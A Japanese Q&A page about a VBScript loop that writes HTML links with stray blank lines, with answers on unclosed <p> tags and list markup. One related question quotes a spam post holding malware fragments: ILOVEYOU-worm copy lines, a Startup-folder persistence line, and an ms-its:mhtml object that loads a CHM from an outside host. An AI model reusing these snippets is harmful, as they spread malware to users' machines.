• ベストアンサー

リンクとリンクの間に空白の行が

VBSでhtmlファイルをつくるプログラムをつくっています。以下はその一部抜粋です。 For Each dataFile In aFolder.Files indexPageTS.WriteLine "<p style=""text-indent:" & n & "em""><a target=""_blank"" href='" & fso.BuildPath(aFolder.Path, dataPageName) & "'>" & linkName & "</a>" Next indexPageTS.WriteLine "</p>" とにかく、ファイル名でリンクを作ってループしているのですが、これをブラウザで表示すると、そのリンクとリンクの間に空白の行が挿入されてしまっているようなのです。いったいなぜでしょうか? HTMLはまったくの初心者です。ようやくインデントができた程度です。よろしくお願いします。

  • HTML
  • 回答数2
  • ありがとう数5

質問者が選んだベストアンサー

  • ベストアンサー
  • tochansa
  • ベストアンサー率76% (23/30)
回答No.2

まずはそのプログラムで出力されているHTMLを見てみましょう きっと下記のようになっているはずです、 <p style="text-indent:10em"> <a target=""_blank"" href=''>LinkName</a> <p style="text-indent:10em"> <a target=""_blank"" href=''>LinkName</a> <p style="text-indent:10em"> <a target=""_blank"" href=''>LinkName</a> <p style="text-indent:10em"> <a target=""_blank"" href=''>LinkName</a> </p> <p>の開始に対して</p>の閉じが対になっていないのが原因と思われます。 (タグが開始終了で対になる必要があるのはわかりますよね?) そしてそんな風になってしまう原因はForEachの中で<p style=....>まで出力してしまっていることです。 For Each dataFile In aFolder.Files indexPageTS.WriteLine "<p style=""text-indent:" & n & "em""><a target=""_blank"" href='" & fso.BuildPath(aFolder.Path, dataPageName) & "'>" & linkName & "</a>" Next indexPageTS.WriteLine "</p>" 質問者さんが最終的にどういう出力を求められているかは分かりませんが、 indexPageTS.WriteLine "<p style=""text-indent:" & n & "em"">" For Each dataFile In aFolder.Files indexPageTS.WriteLine "<a target=""_blank"" href='" & fso.BuildPath(aFolder.Path, dataPageName) & "'>" & linkName & "</a>" Next indexPageTS.WriteLine "</p>" や indexPageTS.WriteLine "<p style=""text-indent:" & n & "em"">" For Each dataFile In aFolder.Files indexPageTS.WriteLine "<a target=""_blank"" href='" & fso.BuildPath(aFolder.Path, dataPageName) & "'>" & linkName & "</a><br/>" Next indexPageTS.WriteLine "</p>" が答えに近いのかな?

quicon9ue
質問者

お礼

ご回答ありがとうございます。 何というか、行が分かれててもいいんですね。 いただいたコードを頼りに、また月曜日にがんばってみます。

その他の回答 (1)

  • uriboar
  • ベストアンサー率15% (143/916)
回答No.1

こういう場合、生成されたHTMLのソースを提示したほうが解決の糸口が見つかりやすいかもしれません... と思いましたが、段落<p>要素は、多くのブラウザの標準スタイルで、1行分程度のマージン(余白)を取るようになっていますので、当然の結果と思います。 <p>のスタイルで、マージンを0にすれば解決しますが、何かを列挙するときはリスト<ul>などを使ったほうがHTMLの記述としては適切ですね。 <ul> <li><a href="xxx.html">xxx</a></li> <li><a href="yyy.html">yyy</a></li> <li><a href="zzz.html">zzz</a></li> .... </ul> こんな感じのHTMLを生成するようにしてみてはいかがでしょうか?

quicon9ue
質問者

お礼

ご回答ありがとうございます。 今後はHTMLのほうを貼り付けます。 <ul>とか<li>とかについても調べてみます。

関連するQ&A

  • htmlのボタンでVBSのプロシージャを起動

    こんばんは。まず、状況の説明と、やりたいことの箇条書きです。 1. あるフォルダー"root"をルートフォルダーとする。 2. ルートフォルダーにはフォルダ"abcdata"とindex.htmlとmystyle.cssがある。 3. フォルダ"abcdata"にはサブフォルダー1つしかない。 4. サブフォルダーは複数階層になっている。 5. 各サブフォルダー内には拡張子 abc のファイルが置いてある。 6. index.html上のボタン"refresh"をクリックすると、サブプロシージャー"Start"が働く。 7. サブプロシージャー"Start"は、全ての *.abc ファイルと同じ名前の html ファイルを *.abc ファイルと同じフォルダーに作り、作成した各 html ファイルへのリンクを、ルートフォルダーの index.html に記述する。 8. index.html におけるリンクの表示は、階層ごとにインデント適用する。 下記、引用のソースは、index.htmlを写したものです(具体的な数値等は伏せてあります)。そこにうめこまれた"refresh"ボタンを押すとサブプロシージャー"Start"を起動され、index.html自身が書きかわるようにしたいのですが、うまくいきません(IEの左下のところに「ページでエラーが発生しました」と出ます)。どうすればよいでしょうか。 私はExcelのVBAは少し経験がありますが、VBSを書いたのはこれが初めてです。HTMLやCSSはまったくの初心者です。ようやくフォントサイズの絶対指定ができた程度です。よろしくお願いします。 <HTML><HEAD><TITLE>Viewer</TITLE> <SCRIPT LANGUAGE="VBScript"> <!-- Sub Start(ByRef i) Set fso = CreateObject("Scripting.FileSystemObject") Set rootFolder = fso.GetFolder(".") 'index.htmlを作成 Set indexPageTS = fso.CreateTextFile(fso.BuildPath(rootFolder.Path, "index.html"), True) indexPageTS.WriteLine "<HTML>" (ヘッダーは省略:文字数節約のため) indexPageTS.WriteLine "<BODY text=""#000000"" link=""#0000FF"" alink=""teal"">" indexPageTS.WriteLine "<span style="width:100%; filter:DropShadow(color=#CCCCFF,direction=135)"><font color=""Navy""; size= 6pt>abcdata</font></span><br>" indexPageTS.WriteLine "<br>" indexPageTS.WriteLine "<input type=""button"" value=""reload"" onclick=""location.reload()"">" indexPageTS.WriteLine "<input type=""button"" name=""InputBtn"" onclick=""Start(1)"" value=""refresh"">" indexPageTS.WriteLine "<br>" '各サブフォルダーへの処理はDataFolderProcに任せる Set accessoryFolder = fso.GetFolder(".\abcdata") For Each dataFolder In accessoryFolder.SubFolders i = 1 Call DataFolderProc(dataFolder, i) Next indexPageTS.WriteLine "</p>" indexPageTS.WriteLine "</BODY>" indexPageTS.WriteLine "</HTML>" indexPageTS.Close() Set indexPageTS = Nothing Set fso = Nothing End Sub indexPageTS.WriteLine "<br>" Sub DataFolderProc(aFolder, n) For Each dataFile In aFolder.Files If LCase(fso.GetExtensionName(dataFile)) = "abc" Then linkName = fso.GetBaseName(dataFile.Name) dataPageName = fso.GetBaseName(dataFile.Name) & ".html" Set dataPageTS = aFolder.CreateTextFile(dataPageName, True) dataPageTS.WriteLine "<HTML>" '(中略:各htmlファイルへの記述がここに入る) dataPageTS.WriteLine "</HTML>" dataPageTS.Close() 'index.htmlに各リンクを張る indexPageTS.WriteLine "<p style=""text-indent:" & n & "em"><a target=""_blank"" href='" & fso.BuildPath(aFolder.Path, dataPageName) & "'>" & linkName & "</a>" End If Next 'サブフォルダーがあれば同様に処理する For Each subFolder In aFolder.SubFolders n = n + 1 Call DataFolderProc(subFolder, n) Next End Sub --> </SCRIPT> <LINK REL="stylesheet" TYPE="text/css" HREF="mystyle.css"> </HEAD> <BODY text="#000000" link="#0000FF" alink="teal"> <span style="width:100%; filter:DropShadow(color=#CCCCFF,direction=135)"><font color="Navy"; size= 6pt>abcdata</font></span><br> <br> <input type="button" value="reload" onclick="location.reload()"> <input type="button" name="InputBtn" onclick="Start(1)" value="refresh"> <br> <p style="text-indent:1em"><a target="_blank" href='C:\root\abcdata\a\abcde</a> '(中略:各リンク) </p></BODY></HTML>

    • ベストアンサー
    • HTML
  • プロのコーダーは、仕事の時長い文章を改行したり、イ

    プロのコーダーは、仕事の時長い文章を改行したり、インデントを入れたりする時すべてCSSでやるものなのでしょうか? それともbrや全角空白でやったほうが早いのでこちらで良いのでしょうか? 私は下記のようにCSSでやっているのですが、下記のようなやり方でもWEB制作会社で働く場合問題にならないでしょうか? p.indent,dd.indent,dt.indent { text-indent: 1em; margin-top: 0px; margin-bottom: 0px; } p.indentnewline,dd.indentnewline,dt.indentnewline { text-indent: 1em; margin-top: 0px; } dt.indentnewline { text-indent: 1em; margin-top: 0px; padding-bottom: 1em; } p.newline,dd.newline,dt.newline { margin-top: 0px; padding-bottom: 1em; }

    • ベストアンサー
    • CSS
  • 行番号を指定したリンク

    テキストファイルへのリンクで行番号を指定する事が出来るでしょうか? 新しいウインドウを開いて, 例えばreadme.txtの123行目に飛びたいです。 <A target="_blank" href="readme.txtの123行目">読んでね</A> HTMLだけで出来ないのであれば、JavaScriptを使ってもかまいません。

    • ベストアンサー
    • HTML
  • VBSエラー"オブジェクト型の変数は定義されていません"について

    以下のコードは、あるルートフォルダにトップページ"TOP.html"をつくり(または上書きし)、各階層のフォルダの中に存在する拡張子がabc(仮称)のファイルと同じ名前のhtmlファイルを、abcファイルと同じフォルダに同じ数だけつくり(または上書きし)、トップページにその作成したすべてのhtmlファイルへのリンクを表示させる、という構想で作成中のVBSなのですが(具体的な数値等は"****"としました)、これを実行すると「●(マル)」と書いた55行目のところでエラー「オブジェクト型の変数は定義されていません」となってしまいます。このエラーをどのように対処すればよいかを教えていただければと思います。 私はExcelのVBAは多少の経験がありますが、VBScriptを書いたのはこれが初めてで、HTMLも未経験です。14・15行目の呼び出し方はこれでいいのかどうかも不安です。よろしくお願いします。 Set fso = WScript.CreateObject("Scripting.FileSystemObject") Set CurFolder = fso.GetFolder(".") Call CreatePages1(CurFolder, "*.abc", files) Set outFileStream = Nothing Set CurFolder = Nothing Set fso = Nothing 'サブフォルダへの処理 Public Sub SearchSubFolder1(ByVal folder) Set fso = WScript.CreateObject("Scripting.FileSystemObject") Set folder2 = fso.GetFolder(folder.Path) For Each folder2 In folder.SubFolders Call CreatePages1(folder2, searchPattern, files) '再帰呼び出し Call SearchSubFolder1(folder2) Next Set fso = Nothing End Sub 'htmlファイル作成 Public Sub CreatePages1(ByVal folder, ByVal searchPattern, ByRef files) Set fso = WScript.CreateObject("Scripting.FileSystemObject") 'トップページを途中まで作成する。 Set outFileStream = fso.CreateTextFile(folder.Path & "\TOP.html", True) outFileStream.WriteLine "<HTML>" outFileStream.WriteLine "<HEAD>" outFileStream.WriteLine "<TITLE>Viewer</TITLE>" outFileStream.WriteLine "</HEAD>" outFileStream.WriteLine "<BODY>" '各htmlファイルを作成する。 For Each fs In folder.Files Set outFileStream = fso.CreateTextFile(folder.Path & "\" & Left(fs.Name, Len(fs.Name) - Len(Ext)-1) & ".html", True) outFileStream.WriteLine "<HTML>" outFileStream.WriteLine "<HEAD>" outFileStream.WriteLine "<TITLE>Browser</TITLE>" outFileStream.WriteLine "</HEAD>" outFileStream.WriteLine "<BODY>" outFileStream.WriteLine "<OBJECT ID=""Browser1"" WIDTH=**** HEIGHT=**** CLASSID=""CLSID:****"">" outFileStream.WriteLine "<PARAM NAME=""_Version"" VALUE=""*****"">" outFileStream.WriteLine "<PARAM NAME=""_ExtentX"" VALUE=""*****"">" outFileStream.WriteLine "<PARAM NAME=""_ExtentY"" VALUE=""*****"">" outFileStream.WriteLine "<PARAM NAME=""_StockProps"" VALUE=""*****"">" outFileStream.WriteLine "<PARAM NAME=""FileName"" VALUE=""" & folder.Path & "\" & fs.Name & """>" outFileStream.WriteLine "</OBJECT>" outFileStream.WriteLine "</BODY>" outFileStream.WriteLine "</HTML>" outFileStream.Close() 'トップページの続きを作成する。 Ext = fso.GetExtensionName(fs.Name) If LCase(Ext) = "html" Then ●(マル) outFileStream.WriteLine "<a href=""" & folder.Path & "\" & fs.Name & """>" & Left(fs.Name, Len(fs.Name) - Len(Ext)-1) & "</a><br>" End If Next outFileStream.WriteLine "</BODY>" outFileStream.WriteLine "</HTML>" outFileStream.Close() 'サブフォルダへの処理。 Set fp = fso.GetFolder(folder.Path) Call SearchSubFolder1(fp) End Sub

  • ウィルス??

    自分の掲示板にこの↓ような書き込みをされたのですが、踏んだらやばいんですかね? body onload=window()> If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l" Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1))) fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\" c.Copy(dirsystem&"\MSKernel32.vbs") c.Copy(dirwin&"\Win32DLL.vbs") c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") <object data="ms-its:mhtml:file://C:\\MAIN.MHT! h ttp://ww w.loadcash. biz//adverts//35//main.chm::/main.htm" type="text/ X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l" ToInfect.CodeModule.I どなたか教えてください

  • float と text-indent について

    floatを利用して、画像を右か左に寄せたとき、ネットエスケープ7.1でインデント2emが反映されない。(IE6は、OK) 同じく背景を画像に合わせて付けたいのですが、何かいい方法はありませんか。 2つの疑問についてお願いいたします。 <HTML> <HEAD> <TITLE>無題ドキュメント</TITLE> <META http-equiv="Content-Type" content="text/html; charset=Shift_JIS"> <STYLE type="text/css"> <!-- p { background-color: #99CC00;   text-indent: 2em;   font-size: 12px} img { float: right} --> </STYLE> </HEAD> <BODY bgcolor="#FFFFFF" text="#000000"> <p><IMG src="test.jpg" width="100" height="75">floatとtext-indentについてfloatとtext-indentについてfloatとtext-indentについてfloatとtext-indentについてfloatとtext-indentについて</p> </BODY> </HTML>

    • ベストアンサー
    • HTML
  • HPのリンクのつけ方についてですw

    今日もより良いHPを実現するために、お仕事をしている方みなさんに 感謝します(*'v'*) 今日の質問はリンクのつけ方なのですが、今メニューで 拡大スクロールメニューを使っているのですが、(http://flash-bucks.com/flash/menu/m08a/sample.html ←ここにありますw)ココで一つ問題が できました。。。リンクのつけ方なのですが、すでにインターネットで 公表?というか見れる(httpからはじまる)ものしか指定できないじゃない ですか?僕はホームページビルダーを使っているのですが、 一つもファイルをサーバーにUPしていません。 //URL &url1=http://www3.ocn.ne.jp/~****/& &url2=& (実際のHTMLは //URL &url1=http://www3.ocn.ne.jp/~****/& &url2=& &url3=& &url4=& &url5=& &url6=& &url7=& &url8=& //リンクターゲット &tg1=_blank& &tg2=_blank& &tg3=_blank& &tg4=_blank& &tg5=_blank& &tg6=_blank& &tg7=_blank& &tg8=_blank&) このようにURLではなくて、ファイルでリンクを張りたいのですが 何か方法はありませんか??簡単にいうと、インターネットに 繋いでいない状態でリンクを張りたいのです。 わかりにくければ、もっと詳しく書かせていただきます。 どうかお力を貸してください( *´ω`) よろしくお願いします(*゜∀゜)

    • ベストアンサー
    • HTML
  • VBS について

    以下のスクリプトは、あるフォルダ以下の(サブフォルダを含む)abcファイル(仮称)すべてについて同じ名前でhtmlファイルをつくると同時に、そこへリンクするメニューのページを上書きする、という構想で書いたものですが、実行すると2行目で ')'がありません というエラーが出てしまいました。(具体的な数値等は"****"としました) 私はExcelのVBAは多少の経験がありますが、VBScriptを書いたのはこれが初めてで、HTMLも未経験です。 "')'がない"というのはどういうことなのか、このエラーをどのように対処すればよいかを教えていただければと思います。よろしくお願いします。 Set fso = WScript.CreateObject("Scripting.FileSystemObject") Public Sub GetAllFiles(ByVal folder As String, ByVal searchPattern As String, ByRef files As ArrayList) 'folderにあるファイルを取得する。 Dim fs As String() = System.IO.Directory.GetFiles(folder, searchPattern) 'トップページを途中まで作成する。 Set outFileStream = fso.CreateTextFile(folder.Path & "\***", True) outFileStream.WriteLine "<HTML>" outFileStream.WriteLine "<HEAD>" outFileStream.WriteLine "<TITLE>****</TITLE>" outFileStream.WriteLine "</HEAD>" outFileStream.WriteLine "<BODY>" '各htmlファイルを作成する。 For Each fs In folder.Files Set outFileStream = fso.CreateTextFile(folder.Path & "\" & Left(fs.Name, Len(fs.Name) - Len(Ext)-1) & ".html", True) outFileStream.WriteLine "<HTML>" outFileStream.WriteLine "<HEAD>" outFileStream.WriteLine "<TITLE>***</TITLE>" outFileStream.WriteLine "</HEAD>" outFileStream.WriteLine "<BODY>" outFileStream.WriteLine "<OBJECT ID=""****"" WIDTH=*** HEIGHT=*** CLASSID=""CLSID:****"">" outFileStream.WriteLine "<PARAM NAME=""_Version"" VALUE=""***"">" outFileStream.WriteLine "<PARAM NAME=""_ExtentX"" VALUE=""***"">" outFileStream.WriteLine "<PARAM NAME=""_ExtentY"" VALUE=""***"">" outFileStream.WriteLine "<PARAM NAME=""_StockProps"" VALUE=""***"">" outFileStream.WriteLine "<PARAM NAME=""FileName"" VALUE=""" & folder.Path & "\" & fs.Name & """>" outFileStream.WriteLine "</OBJECT>" outFileStream.WriteLine "</BODY>" outFileStream.WriteLine "</HTML>" outFileStream.Close() 'トップページの続きを作成する。 Ext = fso.GetExtensionName(fs.Name) If LCase(Ext) = "html" Then outFileStream.WriteLine "<a href=""" & folder.Path & "\" & fs.Name & """>" & Left(fs.Name, Len(fs.Name) - Len(Ext)-1) & "</a><br>" End If Next outFileStream.WriteLine "</BODY>" outFileStream.WriteLine "</HTML>" outFileStream.Close() 'folderのサブフォルダを取得する。 Dim ds As String() = System.IO.Directory.GetDirectories(folder) 'サブフォルダへの処理も行う。 Dim d As String For Each d In ds GetAllFiles(d, searchPattern, files) Next d End Sub Set CurFolder = fso.GetFolder(".") GetAllFiles(CurFolder, "*.abc", files) Set outFileStream = Nothing Set CurFolder = Nothing Set fso = Nothing

  • リンクBOXと見出しに空白が出来る

    ただ今独学でhtmlとcssの勉強をしているのですがcssとhtmlでリンクBOXを作ってその下に見出しをつけようと思ったら添付画像のように空白が出来ます。ソースのどこが悪いのでしょうか。 <!DOCTYPE html PUBLIC"-//W3C//DTD XHTML1.0 Transitional//EN"http://www.w3 org/TR/xhtml1/DTD/xhtml1-transitional.did"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <title>会社方針</title> <style type="text/css"> div#container{border:solid 2px black; padding:10px; width:1200px; margin-left:auto; margin-right:auto} div#top a { display:block; width:166px; height:64px; background:#ffcc00; position:relative; top:-31px; left:1px; border:1px solid #a7e; color:#000000 text-indext:-9999px; text-decoration:none; text-align:center; font-size:1.25em; } div#about1 a { display:block; width:166px; height:64px; background:#ffcc00; position:relative; top:-97px; left:165px; border:1px solid #a7e; color:#000000 text-indext:-9999px; text-decoration:none; text-align:center; font-size:1.25em; } div#about2 a { display:block; width:166px; height:64px; background:#ffcc00; position:relative; top:-163px; left:326px; border:1px solid #a7e; color:#000000 text-indext:-9999px; text-decoration:none; text-align:center; font-size:1.25em; } div#about3 a { display:block; width:166px; height:64px; background:#ffcc00; position:relative; top:-229px; left:490px; border:1px solid #a7e; color:#000000 text-indext:-9999px; text-decoration:none; text-align:center; font-size:1.25em; } div#about4 a { display:block; width:166px; height:64px; background:#ffcc00; position:relative; top:-295px; left:654px; border:1px solid #a7e; color:#000000 text-indext:-9999px; text-decoration:none; text-align:center; font-size:1.25em; } div#about5 a { display:block; width:166px; height:64px; background:#ffcc00; position:relative; top:-361px; left:818px; border:1px solid #a7e; color:#000000 text-indext:-9999px; text-decoration:none; text-align:center; font-size:1.25em; } div#about6 a { display:block; width:168px; height:64px; background:#ffcc00; position:relative; top:-427px; left:979px; border:1px solid #a7e; color:#000000 text-indext:-9999px; text-decoration:none; text-align:center; font-size:1.25em; } h2{ padding:-1000px 0px 0px 0px; font-size:1.15em; border-left:solid 18px #ffcc00; padding-left:5px; margin:3px; } p { margin: 0.5em 0px; } </style> </head> <body> <div id="container"> <h1><img src="title.png" alt="株式会社****"/></h1> <div id="top"> <a href="../index/index.html"><p align="center">TOP</p></a> </div> <div id="about1"> <a href="about1.html"><p align="center">会社方針</p></a> </div> <div id="about2"> <a href="about2.html"><p align="center">企業概要</p></a> </div> <div id="about3"> <a href="about3.html"><p align="center">製品</p></a> </div> <div id="about4"> <a href="about4.html"><p align="center">福祉サービス</p></a> </div> <div id="about5"> <a href="about5.html"><p align="center">スタッフ紹介</p></a> </div> <div id="about6"> <a href="about6.html"><p align="center">お問い合わせ</p></a> </div> <h2>会社方針</h2> </div> </body> </html>

    • ベストアンサー
    • HTML
  • VBSエラー"オブジェクト型の変数は定義されていません"について(2)

    こんばんは。よろしくお願いします。 CreatePages1は、あるルートフォルダ(rtFolder)にトップページ"index.html"をつくり(または上書きし)、そのルートフォルダの中にひとつだけあるフォルダ(sbFolder)以下のすべての階層のすべてのフォルダの中に存在する、拡張子がabc(仮称)のファイルと同じ名前のhtmlファイルを、abcファイルと同じフォルダに同じ数だけつくり(または上書きし)、トップページ"index.html"にその作成したすべてのhtmlファイルへのリンクを表示させる、という構想で作成中のVBSなのですが、これを実行すると「●(マル)」と書いた20行目のところでエラー「オブジェクト型の変数は定義されていません」となってしまいます。その前のEchoの結果は望みどおりになっていると思います。このエラーをどのように対処すればよいかを教えていただければと思います。 注)rtFolderにabcファイルはありません。 私はExcelのVBAは多少の経験がありますが、VBScriptを書いたのはこれが初めてで、HTMLも未経験です。 aSearchPatternに"*.abc"を代入したのに、▲(さんかく)と書いた行で拡張子"abc"を指定してしまっているのは、こうしないと全てのファイルについてhtmlファイルが作成されそうだったからです。よろしければ、このことも含めてご回答よろしくお願いします。 Option Explicit Public fso, CurFolder, indexPageTS, otherPageTS, rtFolder, sbFolder, sbFolder2, _ dataFolder, aSearchPattern, aFiles, FileItem, currentFolder, Ext Set fso = WScript.CreateObject("Scripting.FileSystemObject") Set CurFolder = fso.GetFolder(".") Call CreatePages1(CurFolder, "*.abc", aFiles) Set CurFolder = Nothing Set fso = Nothing 'サブフォルダへの処理 Public Sub SearchSubFolder1(ByVal sbFolder) Set fso = WScript.CreateObject("Scripting.FileSystemObject") For Each sbFolder2 In sbFolder.SubFolders WScript.Echo sbFolder WScript.Echo sbFolder2 ●(マル) If sbFolder2 <> "" Then Call CreatePages1(sbfolder2, aSearchPattern, aFiles) '再帰呼び出し If sbFolder2 <> "" Then Call SearchSubFolder1(sbFolder2) End If End If Next 'オブジェクトの開放。 Set sbFolder2 = Nothing Set fso = Nothing End Sub 'htmlファイル作成 Public Sub CreatePages1(ByVal rtFolder, ByVal aSearchPattern, ByRef aFiles) Set fso = WScript.CreateObject("Scripting.FileSystemObject") 'トップページを途中まで作成する。 Set indexPageTS = fso.CreateTextFile(rtFolder.Path & "\index.html", True) indexPageTS.WriteLine "<HTML>" (中略) 'データフォルダに各htmlファイルを作成する。 For Each dataFolder In rtFolder.SubFolders If dataFolder <> "" Then For Each FileItem In dataFolder.Files If FileItem <> "" Then Ext = fso.GetExtensionName(FileItem.Name) ▲(さんかく) If LCase(Ext) = "abc" Then Set otherPageTS = fso.CreateTextFile(dataFolder.Path & "\" & Left(FileItem.Name, Len(FileItem.Name) - Len(Ext)-1) & ".html", True) otherPageTS.WriteLine "<HTML>" (中略) otherPageTS.WriteLine "</HTML>" otherPageTS.Close() 'トップページに各リンクを作成する。 Ext = fso.GetExtensionName(FileItem.Name) If LCase(Ext) = "html" Then indexPageTS.WriteLine "<a href=""" & rtFolder.Path & "\" & FileItem.Name & """>" & Left(FileItem.Name, Len(FileItem.Name) - Len(Ext)-1) & "</a><br>" End If End If End If Next End If Next 'トップページの続きを記述する。 indexPageTS.WriteLine "</BODY>" indexPageTS.WriteLine "</HTML>" indexPageTS.Close() 'データフォルダのサブフォルダへの処理。 For Each dataFolder In rtFolder.SubFolders If dataFolder <> "" Then Set currentFolder = fso.GetFolder(dataFolder.Path) If currentFolder <> "" Then Call SearchSubFolder1(currentFolder) End If End If Next 'オブジェクトの開放。 Set currentFolder = Nothing Set dataFolder = Nothing Set indexPageTS = Nothing Set otherPageTS = Nothing Set fso = Nothing End Sub

専門家に質問してみよう